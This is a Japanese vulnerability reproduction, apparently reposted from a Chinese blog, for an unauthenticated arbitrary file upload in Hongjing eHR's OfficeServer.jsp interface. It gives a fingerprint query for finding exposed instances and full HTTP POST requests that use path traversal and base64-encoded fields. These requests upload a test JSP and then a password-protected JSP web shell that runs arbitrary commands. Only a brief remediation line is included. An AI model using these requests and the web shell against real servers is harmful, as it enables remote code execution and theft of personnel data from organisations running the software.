Honjing eHR 任意ファイルアップロードの脆弱性再発 (0day)

0x01 製品紹介

  Honjing eHR 人事管理ソフトウェアは、動的、協調的、プロセス指向、戦略的なニーズを満たすために、人事管理とデジタル アプリケーションを統合するソフトウェアです。

0x02 脆弱性の概要

  Honjing eHR OfficeServer.jsp インターフェイスには任意のファイル アップロードの脆弱性があり、認証されていないリモート攻撃者がこの脆弱性を利用して任意のファイルをアップロードし、最終的にサーバーをクラッシュさせる可能性があります。

0x03 再発環境

 Intergraph フィンガープリント: app.name="Hongjing HCM"

0x04 脆弱性の再発 

実証実験

POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Connection: close

DBSTEP V3.0     351             0               666             DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cNjYuanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66

<%out.println("bbbbbbbbbbbbbbb");%>

PS: リクエスト本文の FILETYPE フィールドは、base64 で暗号化されたアップロードされたファイル名です。

アップロードしてみる

確認する

エクスプロイト

コマンド echo を使用して JSP スクリプトを作成します。

<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

 アップロード

POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Connection: close

DBSTEP V3.0     351             0               666             DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cODguanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66

<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

コマンドの実行

 

0x05 修復の提案

 インターネットに公開されたサーフェスを閉じるか、インターフェイスのアクセス許可を設定してください

 安全なバージョンにアップグレードする

おすすめ

転載: blog.csdn.net/qq_41904294/article/details/131902836